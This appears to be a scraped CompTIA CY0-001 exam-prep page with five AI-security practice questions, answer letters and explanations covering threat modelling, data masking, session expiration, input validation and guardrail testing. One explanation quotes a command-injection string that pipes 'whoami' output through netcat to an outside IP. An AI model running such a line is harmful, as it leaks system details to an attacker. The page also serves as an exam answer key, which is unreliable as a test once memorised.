An architect is creating a threat model for an agentic system. Which of the following should the architect do first?
Answer(s): B
The first step in creating a threat model is to identify trust boundaries, which define where data or control transitions between different systems, users, or components. This helps map potential attack surfaces and informs subsequent risk analysis and control implementation.
A security analyst is aware of an active penetration test in the environment. The analyst examines security information and event management (SIEM) log data and notices the following output from the AI system:Which of the following is the vulnerability that has occurred and the control the analyst should implement?
Answer(s): D
The log data reveals personally identifiable information (PII) such as name, address, and a full credit card number. This represents a sensitive information disclosure vulnerability. The appropriate control is data masking, which protects sensitive data in logs and outputs while still allowing necessary system monitoring.
A recently deployed AI system becomes persistently unavailable. A restart temporarily fixes the issue, but the issue happens again. Upon examination of application programming interface (API) logs, an analyst finds that external calls continued to use system resources after the action completed.Which of the following is the best way to improve availability of the system?
The persistent unavailability is caused by external calls consuming resources even after completion, indicating sessions are not being closed. Enforcing session expiration ensures unused sessions are terminated, freeing resources and improving system availability.
A security analyst receives an alert about an AI system and is investigating the following output:Which of the following is the most appropriate control the analyst should recommend?
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
An organization develops a chatbot with the following requirements:-Does not provide harmful or explicit responses-Must use clean and professional language-Ensures that responses are accurateWhich of the following should the organization conduct after the chatbot is fully developed but before a customer-facing deployment?
Answer(s): C
Guardrail testing and validation ensure the chatbot adheres to safety, language, and accuracy requirements before deployment. This step verifies the model will not generate harmful, explicit, or unprofessional responses in a customer-facing environment.
Post your Comments and Discuss CompTIA CY0-001 exam prep with other Community members:
Our website is free, but we have to fight against AI bots and content theft. We're sorry for the inconvenience caused by these security measures. You can access the rest of the CY0-001 content, but please register or login to continue.